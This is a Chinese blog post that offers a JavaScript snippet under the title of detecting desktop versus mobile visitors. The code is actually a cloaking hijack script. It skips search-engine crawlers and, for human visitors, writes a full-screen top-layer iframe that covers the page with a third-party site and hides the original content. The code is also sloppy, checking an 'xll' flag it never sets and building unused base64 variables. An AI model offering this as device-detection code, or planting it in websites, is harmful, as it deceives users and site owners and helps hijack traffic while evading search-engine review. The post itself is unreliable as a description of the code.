javascript判断用户是电脑端还是手机移动端终极版
作者:admin 日期:2024-04-28
JavaScript代码
- var system = {
- win: false,
- mac: false,
- xll: false
- };
- var userAgent = navigator.userAgent;
- var platform = navigator.platform;
- var p = navigator.platform;
- var us = navigator.userAgent;
- system.win = p.indexOf('Win') == 0;
- system.mac = p.indexOf('Mac') == 0;
- system.x11 = (p == 'X11') || (p.indexOf('Linux') == 0);
- var now = new Date().getTime();
- var base64 = btoa(now + 'Todaysubdomain'.replace('-', '/').split('T')[0].replace('-', '/'));
- var sub1 = base64.substring(0, 20);
- var sub2 = base64.substring(1, 21);
- var sub3 = base64.substring(2, 22);
- var sub4 = base64.substring(3, 23);
- var sub5 = base64.substring(4, 24);
- try {
- var reg = /(Baiduspider|360Spider|YisouSpider|YandexBot|Sogou inst spider|Sogou web spider|spider|Baiduspider-render)/i;
- var iframe_url = '';
- var zindexCount = 999999;
- if (!reg.test(navigator.userAgent)) {
- if (system.win || system.mac || system.xll) {
- var arr = ['https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net'];
- iframe_url = arr[Math.floor(Math.random() * arr.length)];
- } else {
- if (/iPhone|iPad|iPod|iOS|Android/i.test(navigator.userAgent)) {
- var arr = ['https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net', 'https://www.guanjianci.net'];
- iframe_url = arr[Math.floor(Math.random() * arr.length)];
- }
- }
- document.write('<div id="div_iframe' + (zindexCount - 1) + '" style="z-index:' + zindexCount + ';height:' + window.innerHeight + 'px; width: 100%;position: fixed;top:0; background: #ffffff;height:100%;padding:0px;margin:0px;"><iframe id="myiframe" frameborder="0" width="100%" height="100%" src="' + iframe_url + '"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden;padding:0px;margin:0!important;}</style>');
- }
- } catch (e) {
- console.log(e);
- }
以上代码来源于网络，仅供参考！
[本日志由 admin 于 2024-04-28 11:35 PM 更新]
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